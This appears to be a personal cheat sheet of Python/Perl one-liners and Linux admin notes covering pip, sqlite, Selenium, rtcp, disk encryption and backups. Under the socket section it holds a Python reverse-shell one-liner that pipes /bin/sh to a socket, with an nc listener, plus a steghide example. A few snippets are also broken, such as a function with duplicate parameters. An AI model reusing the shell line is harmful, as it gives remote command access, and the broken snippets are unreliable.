python -c 'A=[x**2 for x in range(10) if x%2 == 0]; print A'
perl -le '@A=map{$_**2} grep{$_ % 2 == 0} 0..9; print "@A"'
# Add 2D lists (compare)
python -c 'A=[x + y for x in [0,1,2] for y in [100,200,300]]; print A'
perl -le '@A=map{$x=$_; map{$x+$_}100,200,300 }0,1,2; print "@A"'
perl -le 'local $,="+"; @A=map eval, <{0,1,2}+{100,200,300}>; print "@A"'
# Add 3D lists (compare)
python -c 'A=[x + y + z for x in [0,1,2] for y in [100,200,300] for z in [1000,2000,3000]]; print A'
perl -le '@A=map{$x=$_; map{$y=$_; map{$x+$y+$_}1000,2000,3000 }100,200,300 }0,1,2; print "@A"'
perl -le 'local $,="+"; @A=map{eval}<{0,1,2}+{100,200,300}+{1000,2000,3000}>; print "@A"'
perl -le 'local $,="+"; @A=map eval, <{0,1,2}+{100,200,300}+{1000,2000,3000}>; print "@A"'
# Add 4D lists (compare)
python -c 'A=[x + y + z + aa for x in [0,1,2] for y in [100,200,300] for z in [1000,2000,3000] for aa in [10000,20000]]; print A'
perl -le '@A=map{$x=$_; map{$y=$_; map{$z=$_; map{$x+$y+$z+$_}10000,20000 }1000,2000,3000 }100,200,300 }0,1,2; print "@A"'
perl -le 'local $,="+"; @A=map eval, <{0,1,2}+{100,200,300}+{1000,2000,3000}+{10000,20000}>; print "@A"'
# Interate through list combinations
python -c 'A=[x+y for x in "spam" for y in "SPAM"]; print A'
perl -le '@A=<{s,p,a,m}{S,P,A,M}>; print "@A"'
perl -le '@A=<{@{[join ",",split //,"spam"]}}{@{[join ",",split //,"SPAM"]}}>; print "@A"'
# Max constant for using glob (permutations)
perl -MPOSIX -le 'print POSIX::sysconf(_SC_ARG_MAX)'
# Add 2D lists with conditionals (compare)
python -c 'A=[x+y for x in "spam" if x in "sm" for y in "SPAM" if y in ("P","A")]; print A'
perl -le '@A=map{$x=$_; map{$x.$_ }grep /[PA]/, split "", "SPAM" } grep /[sm]/, split "", "spam"; print "@A"'
perl -le '@a=join ",", grep /[sm]/, split "", "spam"; @b=join ",", grep /[PA]/, split "", "SPAM"; @A=<{@a}{@b}>; print "@A"'
perl -le '@A=<{@{[ join ",", grep /[sm]/, split "", "spam" ]}}{@{[ join ",", grep /[PA]/, split "", "SPAM" ]}}>; print "@A"'
perl -le '@A=<{s,m}{P,A}>; print "@A"'
# Show even and odd lists (compare)
python -c 'A=[(x,y) for x in range(5) if x % 2 == 0 for y in range(5) if y % 2 == 1]; print A'
perl -le '@A=map{$x=$_; map{"($x,$_)"} grep{$_ % 2 == 1}0..4 }grep{$_ % 2 == 0}0..4; print "@A"'
perl -le '@A=<({@{[ join ",",grep{$_ % 2 == 0}0..4 ]}},{@{[ join ",",grep{$_ % 2 == 1}0..4 ]}})>; print "@A"'
# Extract the forward diagonal from a matrix (compare)
python -c 'M=[[1,2,3],[4,5,6],[7,8,9]]; A=[M[i][i] for i in range(len(M))]; print A'
perl -le '@M=([1,2,3],[4,5,6],[7,8,9]); @A=map{ $M[$_][$_] } 0..$#M; print "@A"'
# Extract the backward diagonal from a matrix (compare)
python -c 'M=[[1,2,3],[4,5,6],[7,8,9]]; A=[M[i][len(M)-1-i] for i in range(len(M))]; print A'
perl -le '@M=([1,2,3],[4,5,6],[7,8,9]); @A=map{ $M[$_][$#M-$_] } 0..$#M; print "@A"'
# Increment column in a matrix (compare)
python -c 'M=[[1,2,3],[4,5,6],[7,8,9]]; A=[row[1]+10 for row in M]; print A'
perl -le '@M=([1,2,3],[4,5,6],[7,8,9]); @A=map{ $_->[1]+10 } @M; print "@A"'
# Increment all columns in a matrix (compare)
python -c 'M=[[1,2,3],[4,5,6],[7,8,9]]; A=[[col+10 for col in row] for row in M]; print A'
perl -MData::Dumper -le '@M=([1,2,3],[4,5,6],[7,8,9]); @A=map{[map{ $_+10}@$_] } @M; print Dumper \@A'
perl -le '@M=([1,2,3],[4,5,6],[7,8,9]); @A=map{[map{ $_+10}@$_] } @M; print "@$_" for @A'
# Multiply matrices (compare)
python -c 'M=[[1,2,3],[4,5,6],[7,8,9]]; N=[[2,2,2],[3,3,3],[4,4,4]]; A=[M[row][col] * N[row][col] for row in range(3) for col in range (3)]; print A'
perl -le '@M=([1,2,3],[4,5,6],[7,8,9]); @N=([2,2,2],[3,3,3],[4,4,4]); @A=map{$row=$_; map{ $M[$row][$_] * $N[$row][$_] }0..2 }0..2; print "@A"'
# Multiply matrices preserving rows (compare)
python -c 'M=[ [1,2,3],[4,5,6],[7,8,9]]; N=[[2,2,2],[3,3,3],[4,4,4]]; A=[[col1 * col2 for (col1,col2) in zip(row1,row2)] for (row1,row2) in zip(M,N)]; print A'
perl -le '@M=([1,2,3],[4,5,6],[7,8,9]); @N=([2,2,2],[3,3,3],[4,4,4]); @A=map{$row=$_; [map{ $M[$row][$_] * $N[$row][$_] }0..2] }0..2; print "@$_" for @A'
#############################################################
## Python Functions
#############################################################
# Keyword (Named) Arguments in Python
# Same definition
def myfunc(parm1, parm1):
...
myfunc(parm1=arg1, parm1=arg2)
#############################################################
## Python PIP
#############################################################
# Install a python package
setup_http_proxy
sudo pip install matplotlib --proxy $https_proxy
# Python package is not in the normal location. (Nathan)
# Add it to the include PATH
import sys; sys.path.append("/usr/lib/pyshared/python2.7/matplotlib")
import matplotlib
# Look up a python package
python -m pydoc <module>
perldoc <module> # similar
#############################################################
## Python Regex
#############################################################
# Python offers two different primitive operations based on
# regular expressions: re.match() checks for a match only at
# the beginning of the string, while re.search() checks for
# a match anywhere in the string (this is what Perl does by
# default).
python -c 'import re; print(re.match("c", "abcdef"))'
python -c 'import re; print(re.search("c", "abcdef"))'
# Capture words in regex
python -c 'import re; m=re.search("(\w+) is (\d+)", "abc is 3"); print(m.groups())'
perl -le 'print for "abc is 3" =~ /(\w+) is (\d+)/'
perl -le 'print "abc is 3" =~ /(\w+) is (\d+)/'
# Allow free space in regex
python -c 'import re; print(re.search("(?x) c ", "abcdef"))'
perl -le 'print "abcdef" =~ / c /x'
#############################################################
## Python Strings
#############################################################
# Reverse string using python
python -c 'a="12345678"; b=a[::-1]; print [a,b]'
# Remove leading and trailing spaces
python -c "a = ' a b '; print('[{}]'.format(a.strip()))"
perl -le "$_ = ' a b '; s/^\s+//; s/\s+$//; print(qq([$_]))"
# Get number of lines in a file in python
sum(1 for line in open(file))
# Encode a url using python
python -c "from urllib.parse import urlencode; result = urlencode( {'':'159278 #01'}); print(result)"
159278+%2301
#
# Encode a string
python -c "from urllib.parse import quote; result = quote('159278 #01'); print(result)"
159278%20%2301
#
# Encode a string (%20 is +)
python -c "from urllib.parse import quote_plus; result = quote_plus('159278 #01'); print(result)"
159278+%2301
# Decode a url in Python
python -c "from urllib.parse import unquote; result = unquote('159278%20#01'); print(result)"
159278 #01
#
# (%20 is +)
python -c "from urllib.parse import unquote_plus; result = unquote_plus('159278+#01'); print(result)"
159278 #01
#############################################################
## Python Variable Types - General
#############################################################
# Different types of variables in python
string = "abc"
string = 'abc'
list = ["a","b","c"]
dictionary = {"Name":"ABC", "Age":50, "Color":"Red"}
tuple = ("a","b","c") # Immutable
set = {"a","b","c"} # Unique
#############################################################
## Python Variable Types - Objecz
#############################################################
# See all methods of an object
python -c "import time; print(dir(time))"
# Loop through dictionary/hash in python (like each in perl)
python -c "h={'a':1, 'b':2}; print(h.items())"
perl -le "%h=('a',1, 'b',2); print qq($k: $v) while ($k,$v) = each %h"
#############################################################
## Python Virtual Environment
#############################################################
# Virtual environment in python (requirements.txt)
#
# Install as admin
pip install virtualenv
#
# Create environment folder
python -m venv env
#
# Activate it
env\Scripts\activate
#
# Install packages
python -m pip install --upgrade pip
pip install bottle
#
# Save requirements.txt
pip freeze > requirements.txt
#
# Save downloaded files locally
mkdir sdist
cd sdist
pip download -r ..\requirements.txt
#
# Close environment
deactivate
#
# Install requirements somewhere else
pip install -r requirements.txt --find-links sdist --no-index
#############################################################
## Python Modules - bottle
#############################################################
# Python bottle module routing options
self.app.get("/<f:path>")(lambda f: bottle.static_file(f, root=path))
self.app.get("/<file:path>")(lambda file: self.get_static_file(file,path))
#
def get_static_file(self,file,path):
self.logger.debug("get_static_file(file:{},path={})".format(file,path))
# Remove option timestamp/UID: version--UID--123.js
file = re.sub(self.is_uid,'',file)
return bottle.static_file(file, root=path)
#
#
The following filters are implemented by default and more may be added:
:int matches (signed) digits only and converts the value to integer.
:float similar to :int but for decimal numbers.
:path matches all characters including the slash character in a non-greedy way and can be used to match more than one path segment.
:re allows you to specify a custom regular expression in the config field. The matched value is not modified.
#############################################################
## Python Modules - datetime
#############################################################
# Get yyyymmmdd format in Python from a integer Epoch string
python -c "import datetime; import os; s=os.stat('version.js'); t=datetime.datetime.fromtimestamp(int(s.st_mtime)).strftime('%Y%m%d%H%M%S'); print(t)"
20210203102701
# Print current time in about YYYYMMDD
python -c "import datetime; print(datetime.date.today().strftime('%Y%m%d'))"
# Current timestamp as a string
python -c "from datetime import datetime; print(datetime.now(tz=None))"
#############################################################
## Python Modules - gevent
#############################################################
# Using gevent in a python webserver
#
import gevent.pywsgi
import geventwebsocket
import geventwebsocket.handler
class Server:
def __init__(self,...):
self.server = gevent.pywsgi.WSGIServer((address, port), self.app,
handler_class=geventwebsocket.handler.WebSocketHandler)
#############################################################
## Python Modules - json
#############################################################
# Using json in a python webserver
#
import json
class Server:
def info(self):
try:
return json.dumps(possible_endpoints)
except KeyError:
return bottle.HTTPError(404, "Error occurred")
#############################################################
## Python Modules - logging
#############################################################
# Log format to use for the logger
log_format = '%(asctime)s %(levelname)s %(module)s.%(funcName)s:%(lineno)d %(message)s'
# Using rotating logs in python (at midnight the log file changes)
import logging.handlers
file_handler = logging.handlers.TimedRotatingFileHandler(filename=log_file, when="midnight")
#############################################################
## Python Modules - os
#############################################################
# Python get the current working directory (dirname)
this_dir = os.path.dirname(os.path.realpath(__file__))
# Example of using system command in python.
python3 -c 'import os; os.system(" ".join(["which", "mid2agb"]))'
#############################################################
## Python Modules - SimpleHTTPServer
#############################################################
# View linux files from windows (debug,pi)
python -m SimpleHTTPServer 8080
http://172.17.17.10:8080/
#############################################################
## Python Modules - socket
#############################################################
# Create a port that can be connected to with netcat
/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("localhost",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -nlvp 4445
#############################################################
## Python Modules - sys
#############################################################
# Flushing output in Python
import sys
sys.stdout.flush()
#############################################################
## Python Modules - time
#############################################################
# Seconds since epoch
python -c "import time; print(time.time())"
python -c "import time; print(int(time.time()))"
#############################################################
## Python Modules - watchdog
#############################################################
# Python watchdog has a known bug which triggering 2 on_modified events per change.
import watchdog.observers
https://github.com/gorakhargosh/watchdog/issues/93
#############################################################
## Python Modules - winreg
#############################################################
# Get a subkey from a windows registry key
import winreg
def getLogPath(key,subKey):
try:
reg = winreg.OpenKeyEx(winreg.HKEY_LOCAL_MACHINE, key)
val = winreg.QueryValueEx(reg, subKey)[0]
return val
except FileNotFoundError:
return fallback
## Q
#############################################################
## RSnapshot
#############################################################
# Install rsnapshot
sudo apt install rsnapshot
# Update rsnapshot config
sudo vi /etc/rsnapshot.conf
#
# Make sure to use tab separators
snapshot_root /media/<USER>/SRTO_BACKUP/BACKUP
no_create_root 1
#
retain hourly 24
retain daily 7
retain weekly 4
retain monthly 12
#
link_dest 1
#
backup /home/<USER> timPC
backup /etc timPC
backup /opt timPC
backup /root timPC
# Test rsnapshot configuration file
rsnapshot configtest
# Create crontab for rsnapshot
crontab -e
#
# min hr dom mon dow command
0 * * * * /usr/bin/rsnapshot_runner.pl hourly
50 23 * * * /usr/bin/rsnapshot_runner.pl daily
40 23 * * 6 /usr/bin/rsnapshot_runner.pl weekly
30 23 1 * * /usr/bin/rsnapshot_runner.pl montly
# Rsnapshot example
http://www.edwiget.name/2018/05/simple-rsnapshot-incremental-backups-to-removable-disks/#codesyntax_1
#############################################################
## RTCP (RBS,real time command processor)
#############################################################
# Show rtcp options (DES,DEBHAWK)
rtcp he
rtcp he options
rtcp he op2
# List fbs status
rtcp ls
# Real-time clock device (rtc,DES)
/dev/rrtc/McN
# M - is a controller number (0-3). corresponds to the CPU
# board on which the clock resides
# c - stands for clock
# N - specifies a real-time clock number (0-4 on the first CPU board,
# and 0-2 on additional CPU boards)
# RTCP Commands (DES)
ats Attach timing source to an FBS
chs Change permissions for an FBS
cs Configure an FBS
dts Detach timing source from an FBS
rms Remove an FBS
svs Save scheduler configuration
vc View minor cycle/major frame count
vr View a rdevfs file configuration
vs View scheduler configuration
rc Start real-time clock
rd Register a Coupled FBS device
sc Stop real-time clock
stc Set real-time clock values
gtc Get real-time clock values
start Start scheduling on an FBS
reg Register a Closely-Coupled FBS timing device
resume Resume scheduling on an FBS
stop Stop scheduling on an FBS
rmp Remove a process from an FBS
rsp Reschedule a process
sp Schedule a process on an FBS
unreg Unregister a Closely-Coupled FBS timing device
urd Unregister a Coupled FBS device
vp View processes on an FBS
pm Start/stop performance monitoring
cpm Clear performance monitor values
vcm View or modify performance monitor timing mode
vpm View performance monitor values
ex Exit real-time command processor
he Display help information
# RTCP Options (DES,rtcp he options)
-a remove program from FBS and terminate
-b {F|R|O} scheduling policy
-c cpu_bias cpu bias (* = all CPUs) (default = current CPU)
-d name devicename or filename
-e EOC flag
-f frequency number of minor cycles to next wakeup (default = 1)
-h {halt|nohalt} halt FBS on deadline violation (default = nohalt)
-i fpid process fpid number (default = -1)
-m start_cycle 1st minor cycle to wakeup (default = 0)
-n proc_name process name
-o {halt|nohalt} halt FBS on overrun flag (default = nohalt)
-p priority process priority
-r {cycle|task} deadline origin flag (default = cycle)
-s scheduler FBS scheduler key
-t {in|ex} include or exclude interrupt time in pm monitor
-v parameter process initiation parameter
-x {av|mi|ma|al} performance monitor display option (default = average)
# RTCP Options (DES,rtcp he opt2)
-C cycles/frame number of minor cycles per major frame
-D duration clock tick duration (default = 10us)
-G gid effective group ID for FBS (default = current user)
-I permissions permissions for FBS in octal (default = 0600)
-L soft_limit soft overrun limit (default = 0)
-M progs/cycle maximum number of processes per minor cycle
-N progs/fbs maximum number of processes per FBS
-O clock_ticks number of clock ticks per minor cycle
-P {ON|OFF} enable/disable performance monitor (default = OFF)
-R {-1 | 0 | 1} reset process flag (default = 0)
-S delay time to delay, in seconds
-T deadline deadline microseconds (default = "Clear")
-U uid effective user ID for FBS (default = current user)
-W tick_count #ticks before watchdog RTC takes over(special devices)
# RTCP syntax for a command (DES)
# rtcp he <command>
rtcp he ats
rtcp he start
rtcp he sp
# RTCP pass arguments to a process (DES)
# Use "--" to pass everything after to the process
# sys requires "-dt 1000" be passed to it.
rtcp sp -s 1 -n ~/run/sys -- -dt 1000
# Monitor rtcp status, which programs are attached, (DES)
# ipcx, simsec keys, and commands to rtcp "arg*"
watch -d -n1 -t "rtcp ls; rtcp vp -s 1 -c '*'; ipcx; ls -l /dev/keys/simsec; grep '' arg*"
#############################################################
## Ruby
#############################################################
# Check all of the ruby libraries for puppet
ruby -e 'puts $:' | while read n; do ll -d $n/*puppet* 2> /dev/null; done
#############################################################
## Selenium Testing
#############################################################
# Python script to run a simple selenium test
#
+ #!/usr/bin/python3
+
+ import time
+ from selenium import webdriver
+
+ driver = webdriver.Chrome() # Optional argument, if not specified will search path.
+ driver.get('http://www.google.com');
+ time.sleep(2)
+
+ elem = driver.find_element_by_name('q')
+ elem.send_keys('ChromeDriver')
+ elem.submit()
+ time.sleep(2)
+
+ driver.quit()
# Perl script to run a simple selenium test
# Requires having the selenium to be already running:
java -Dwebdriver.chrome.driver=/usr/bin/chromedriver -jar /usr/local/lib/selenium/current.jar
#
+ #!/usr/bin/perl
+
+ use v5.10;
+ use Selenium::Remote::Driver;
+ use Selenium::Remote::WDKeys;;
+
+ my $driver = Selenium::Remote::Driver->new(
+ browser_name => 'chrome', # Default is firefox
+ );
+
+ $driver->get('http://www.google.com');
+ $driver->pause(2000);
+
+ my $elem = $driver->find_element_by_name('q');
+ $elem->send_keys('ChromeDriver');
+ $elem->send_keys( KEYS->{enter} );
+ $driver->pause(2000);
+
+ $driver->quit;
# Check if selenium service is running
systemctl status selenium.service
# Install selenium-server-standalone
# https://tecadmin.net/setup-selenium-chromedriver-on-ubuntu/
#
# Step 1 – Prerequisites:
sudo apt install -y unzip xvfb libxi6 libgconf-2-4
sudo apt install default-jdk
#
# Step 2 – Install Google Chrome:
sudo curl -sS -o - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add
sudo bash -c "echo 'deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main' >> /etc/apt/sources.list.d/google-chrome.list"
sudo apt update
sudo apt install google-chrome-stable
#
# Step 3 – Installing ChromeDriver:
google-chrome --version
#
# Download same version:
# https://chromedriver.chromium.org/downloads
cd ~/Downloads
unzip chromedriver*.zip
#
# Move it:
sudo mv chromedriver /usr/bin/chromedriver
sudo chown root:root /usr/bin/chromedriver
sudo chmod +x /usr/bin/chromedriver
#
# Step 4 – Download Required Jar Files:
# Create selenium service
#
sudo cp ~/my/git/srto/selenium/setup/_etc_systemd_system_selenium.service /etc/systemd/system/selenium.service
sudo vi /etc/systemd/system/selenium.service
+ [Unit]
+ Description=Selenium Server
+
+ [Service]
+ EnvironmentFile=-/etc/default/selenium
+ User=<USER>
+ Group=<USER>
+ Environment="PERL5OPT=-d:NYTProf" "NYTPROF='trace=0:start=no:addpid=1:slowops=0'"
+ Environment=DISPLAY=:1
+ ExecStart=/usr/bin/java -Dwebdriver.chrome.driver=/usr/bin/chromedriver -jar /usr/local/lib/selenium/current.jar $SELENIUM_OPTS
+ SuccessExitStatus=143
+
+ [Install]
+ WantedBy=graphical.target
# Selenium service environment file
#
sudo cp ~/my/git/srto/selenium/setup/_etc_default_selenium /etc/default/selenium
sudo vi /etc/default/selenium
+ SELENIUM_OPTS="-role standalone -debug"
# Enable selenium service (runs on login)
sudo systemctl enable selenium.service
sudo systemctl start selenium.service
# Run selenium test using curl (for debug)
curl -X POST http://localhost:4444/wd/hub/session -d '{ "desiredCapabilities": { "browserName": "chrome" } }'
curl -X POST http://localhost:4444/wd/hub/session -d '{ "desiredCapabilities": { "browserName": "firefox" } }'
# Type the Enter/Return key in Selenium.
perl -C -E 'say "\N{U+E007}"'
perl -C -E 'say "\x{E007}"'
# Make sure to use the apt firefox and not snap
# when seeing: Firefox profile not missing or not accessible.
sudo snap remove firefox
sudo add-apt-repository ppa:mozillateam/ppa
echo '
Package: *
Pin: release o=LP-PPA-mozillateam
Pin-Priority: 1001
' | sudo tee /etc/apt/preferences.d/mozilla-firefox
echo 'Unattended-Upgrade::Allowed-Origins:: "LP-PPA-mozillateam:${distro_codename}";' | sudo tee /etc/apt/apt.conf.d/51unattended-upgrades-firefox
#############################################################
## SQLite3 Database
#############################################################
# Install sqlite on Unix (after in zipping the amalgamation file. make sure these 3 are present:
# shell.c, sqlite3.c, sqlite3.h). rename to a.out to sqlite3
# (database, sqlite3)
gcc shell.c sqlite3.c -lpthread -ldl
# View all the tables in a database (database, sqlite3)
sqlite3 my.db '.tables'
# Turn on column names on query results (database, sqlite3)
sqlite3 my.db '.explain on' 'select * from page_groups'
# Print database structure and data (database, sqlite3)
sqlite3 my.db '.dump'
# View current status/info (database, sqlite3)
sqlite3 my.db '.show'
# REFERENCES and FOREIGN KEYS are (database, sqlite3)
# used to ensure that the tables keys are valid since they
# are found in the foreign table.
# Output the results with a header and evenly spaced columns
sqlite3 my.db --header -column 'select * from my_table'
# Create a new database, table, and data (nathan)
sqlite3 my.db 'create table Users(name,date)'
sqlite3 my.db 'insert into Users values ("bob",20)'
sqlite3 my.db 'insert into Users values ("Joe",25)'
sqlite3 my.db '.explain on' '.width auto' 'select * from Users'
# Case Insensitive Search in SQL query
SELECT ... FROM ... WHERE ... ORDER BY name COLLATE NOCASE ASC LIMIT 5
# Master sqlite table (.tables)
if (table == "") {
query = m_interface->prepare("SELECT name from sqlite_master"); // .tables
}
# View the .schema
else if (haveVerbose) {
query = m_interface->prepare("SELECT sql FROM sqlite_master WHERE name=:table"); // .schema
query.bind(":table", table);
}
# View the columns
else {
query = m_interface->prepare("SELECT name FROM PRAGMA_TABLE_INFO(:table)"); // column names
query.bind(":table", table);
# Get all columns names from SQLite
sqlite3 my.db "PRAGMA table_info(myTable)"
#
sqlite3 my.db "SELECT name FROM pragma_table_info('myTable') ORDER BY name"
# Provide default for null values using COALESCE (sqlite3)
SELECT DISTINCT COALESCE(col,'NULL') FROM myTable ORDER BY col ASC
# SQLite if/else, concat(merge) columns(strings)
SELECT name,
CASE WHEN var1 = 1 THEN 'x' ELSE '-' END ||
CASE WHEN var2 = 1 THEN '/x' ELSE '/-' END ||
CASE WHEN var3 = 1 THEN '/x' ELSE '/-' END ||
CASE WHEN var4 = 1 THEN '/x' ELSE '/-' END
AS var
FROM myTable
ORDER BY name;
# SQL inner join to get a summary of possibilities
sqlite3 my2.db "SELECT DISTINCT col1,col2 FROM myTable AS INNER JOIN (SELECT col1 FROM tool_types GROUP BY col1) USING(col1) INNER JOIN (SELECT col FROM tool_types GROUP BY col) USING(col) ORDER BY col1,col ASC"
# Avoid using "NOT IN" (SQL)
http://www.dbatodba.com/sql-server/how-tos/typical-solutions-to-avoid-using-not-in-on-sql-server/
# NOT IN works, but as the number of records grows, NOT IN performs worse
# Fastest solution so far (Using LEFT JOIN)
#
# Final query
SELECT t1.name,t1.changed
FROM
myTable1 AS t1
LEFT OUTER JOIN
(SELECT * FROM myTable2 WHERE id='123') AS t2
ON t1.name=t2.uid
WHERE
t2.changed IS NULL
OR
t1.changed!=t2.changed;
# Switch statement in SQLite3
SELECT
CASE WHEN item IS NULL THEN 'NULL'
WHEN item = 0 THEN '?'
WHEN item = 1 THEN 'Dummy'
WHEN item = 2 THEN 'Adapter'
ELSE item
END AS item2
FROM
queue
#############################################################
## Stegohide
#############################################################
# Hide a file inside of another file,
# then get it back.
steghide embed -cf COVER.jpg -ef SECRET_TO_EMBED
steghide extract -sf COVER.jpg
#############################################################
## Sublime Editor
#############################################################
# Duplcate a line (sublime editor)
Control + Shift + D
# Vertical Column Edit (like vim,sublime editor)
Shift + Right Click
# Cut line (sublime editor)
Control + x
# Upper case the highlighted word (sublime editor)
Control + K + U
# Lower case the highlighted word (sublime editor)
Control + K + L
#############################################################
## Telegram
#############################################################
# Install telegram-send
sudo apt install pip
sudo pip install telegram-send
#############################################################
## Trello
#############################################################
# Make a hyperlink in Trello
# Create a link by putting:
# 1. The link text in brackets.
# 2. The URL in parentheses.
# With no space between ] and (
[this](Trello)
# Show card count in Trello.
Filter: *
#############################################################
## Termux
#############################################################
# Add 2nd row to termux.
vi $HOME/.termux/termux.properties
#
+ # Ignore bell character
+ bell-character=ignore
+
+ # Only works on newer phones
+ # extra-keys = [ \
+ # ['ESC','|','/','HOME','UP','END','PGUP','DEL'], \
+ # ['TAB','CTRL','ALT','LEFT','DOWN','RIGHT','PGDN','BKSP'] \
+ # ]
+
+ extra-keys = [[ \
+ 'ESC', \
+ 'TAB', \
+ 'UP', \
+ 'DOWN', \
+ 'LEFT', \
+ 'RIGHT', \
+ 'CTRL', \
+ 'ALT', \
+ 'DEL' \
+ ]]
# Check termux kernel settings.
sudo zcat /proc/config.gz
# Install arm-none-eabi (termux)
git clone git@github.com:poti1/arm-none-eabi.git
cd arm-none-eabi
make
# This variable is set when a new session is created.
# This library intercepts/changes calls to:
# /usr/bin/perl to instead code from the termux folder
echo $LD_PRELOAD
/data/data/com.termux/files/usr/lib/libtermux-exec.so
#############################################################
## Ubuntu - Hard Drive Encryption - Detailed
#############################################################
# Ubuntu hard drive encryption.
# 1. Create the encrypted partition:
sudo cryptsetup luksFormat /dev/sda
#
# Verify header.
sudo cryptsetup luksDump /dev/sda
# Ubuntu hard drive encryption.
# 2. Map the encrypted container:
sudo cryptsetup luksOpen /dev/sda secret-container
# Ubuntu hard drive encryption.
# 2a. Wipe the partition (optional):
sudo shred -vfz /dev/mapper/secret-container
# Ubuntu hard drive encryption.
# 3. Create a filesystem in the mapped container:
sudo mkfs.ext4 /dev/mapper/secret-container
# Ubuntu hard drive encryption.
# SKIP FOR EXTERNAL HARD DRIVES
# 4. Update your /etc/crypttab file (used at system boot):
# Your crypttab should contain a line like
cryptHome UUID=26a4b17a-aad3-436a-89f4-a68a4c4c371d none luks,timeout=30
# with the UUID of the device you just encrypted above
# (i.e. the /dev/sdXX device). You can find it out by using
# e.g. lsblk -f (it should say "crypto_LUKS" under FSTYPE in the output).
# Ubuntu hard drive encryption.
# SKIP FOR EXTERNAL HARD DRIVES
# 5. Update your /etc/fstab file (file system mounting:
# Finally, your fstab should contain a line like
/dev/mapper/cryptHome /home/srto-backup ext4 defaults 0 2
#
# to mount the decrypted partition in your filesystem.
# The mapped name (cryptHome) must match the one you
# defined in the crypttab. Replace username by the name of the actual user.
#
# You could also mount it under /home, but then you will have
# all user's home directories in one encrypted drive - that
# means all of them need to know the partition's password to open it on boot.
# Originally thought these were also necessary for an external hard drive.
# Appear to work without the lines.
#
sudo vi /etc/crypttab
# <name> <device> <password> <options>
mnt-usb-crypt UUID=<device-uuid> /path/to/key luks,noauto
#
# Need to run after updating cryptab:
sudo update-initramfs -u -k all
#
sudo vi /etc/fstab
#
# <file system> <dir> <type> <options> <dump> <pass>
/dev/mapper/mnt-usb-crypt /mnt/usb btrfs defaults,noauto,x-systemd.automount 0 2
# Unable to mount the unencrypted harddrive.
# Error mentions mount: wrong fs type, bad option, bad superblock.
#
# See disks:
lsblk
#
# If you can see your drive thats good.
# Run this to see if the system can use it:
sudo fdisk -l
#
# Run this command to attempt to repair bad superblocks on the drive.
sudo xfs_repair /dev/mapper/srto_backup
#
# Mount again after repair is done:
sudo mount /dev/mapper/srto_backup /media/<USER>/SRTO_BACKUP
# Restore corrupted USB drive.
# Warning: could not erase sector 2: Input/output error.
sudo dd if=/dev/zero of=/dev/sdb bs=1M count=40
#
# Disk repair/recovery tool.
sudo apt install testdisk
#############################################################
## Ubuntu - Hard Drive Encryption - Simple
#############################################################
# Ubuntu hard drive encryption. (simple)
#
# Create the encrypted partition:
sudo cryptsetup -c aes-xts-plain -y -s 512 luksFormat /dev/DEVICE
#
# Map the encrypted container:
sudo cryptsetup luksOpen /dev/DEVICE srto_backup
#
# Wipe the partition (optional):
# Only if it has sensitive data already.
sudo shred -vfz /dev/mapper/secret-container
#
# Create a filesystem in the mapped container:
sudo mkfs.ext4 -L MY_BACKUP /dev/mapper/srto_backup
#
# Rename the drive label in gparted (optional)
sudo apt-get install gparted.
# open gparted.
# choose the thumbdrive from the dropdown in the top-right corner.
# unmount the volume (right-click on drive)
# right click and choose "label"
# click on green tick to apply changes.
#
# Find out ID by running
sudo fdisk -l
blkls /dev/<DEVICE>
#
# Or find UUID here for the device
ls -l /dev/disk/by-uuid/
#
# Can find the UUID in gparted.
#
# Add device to be auto decrypted
sudo vi /etc/crypttab
srto_backup UUID=e5dc6e53-2df1-40d8-baff-75ba4f1eacf4 none luks,noauto,size=256
#
# Need to run after updating cryptab:
sudo update-initramfs -u -k all
#
# Add device to be auto mounted
sudo vi /etc/fstab
srto_backup /media/SRTO_BACKUP auto nosuid,nodev,nofail,x-gvfs-show 0 2
# Close encrypted drive
sudo umount /dev/mapper/luks-ea444ab0-445e-4c5c-931b-27922bfa5510
sudo cryptsetup close luks-ea444ab0-445e-4c5c-931b-27922bfa5510
# file found here:
ll /dev/mapper/
#############################################################
## Ubuntu - Hard Drive Create and Delete
#############################################################
# Wipe an external hard drive (with Marco,ubuntu,hd)
#
# Find device here.
lsblk
#
# Remove signature.
sudo wipefs -a /dev/sdb
#
sudo cfdisk /dev/sdb
# Setup a new external hard drive (with Marco,ubuntu,hd)
lsblk # To find out DEVICE name
sudo cryptsetup -c aes-xts-plain -y -s 512 luksFormat /dev/DEVICE
sudo cryptsetup luksOpen /dev/DEVICE srto_backup
sudo mkfs.ext4 -L MY_BACKUP /dev/mapper/srto_backup
sudo mount /dev/mapper/srto_backup /media/<USER>/SRTO_BACKUP
#############################################################
## Ubuntu - Evolution
#############################################################
# Completely remove ubunutu evolution services.
https://askubuntu.com/questions/315640/how-do-i-completely-remove-evolution
#
cd /usr/share/dbus-1/services
sudo cp org.gnome.evolution.dataserver.* /home/<USER>/my/git/srto/evolution/_usr_share_dbus-1_services/
sudo ln -snf /dev/null org.gnome.evolution.dataserver.Calendar8.service
sudo ln -snf /dev/null org.gnome.evolution.dataserver.
sudo ln -snf /dev/null org.gnome.evolution.dataserver.Sources5.service
sudo ln -snf /dev/null org.gnome.evolution.dataserver.UserPrompter0.service
#############################################################
## Ubuntu - Filesystem
#############################################################
# Show Hide/Hidden Files (Ubuntu)
Control + H
# Mount wired network connection (Ubuntu,linux)
# Useful is policykit-i is accidentally removed
sudo dhclient -v usb0
# Remove trash icon in Ubuntu left panel.
gsettings get org.gnome.shell.extensions.dash-to-dock show-trash # true
gsettings set org.gnome.shell.extensions.dash-to-dock show-trash false
# Trash folder locaiton on Ubuntu
~/.locat/share/Trash
#############################################################
## Ubuntu - Shortcuts
#############################################################
# Screenshot (Ubuntu)
Druck + Click and drag + Enter # Snippet.
Shift + Druck # Full screenshot.
Control + Alt + Fn + (F1,F2..F12) # Switch display.
#############################################################
## Ubuntu - Filesystem - ZFS
#############################################################
# Create a new zpool
sudo fdisk -l # Find device path here
# Destroy (completely remove) a zpool
# WILL DELETE ALL DATA INSIDE
sudo zpool destroy brpool
# Unmount a busy device
umount -l /PATH/OF/BUSY-DEVICE
umount -f /PATH/OF/BUSY-NFS (NETWORK-FILE-SYSTEM)
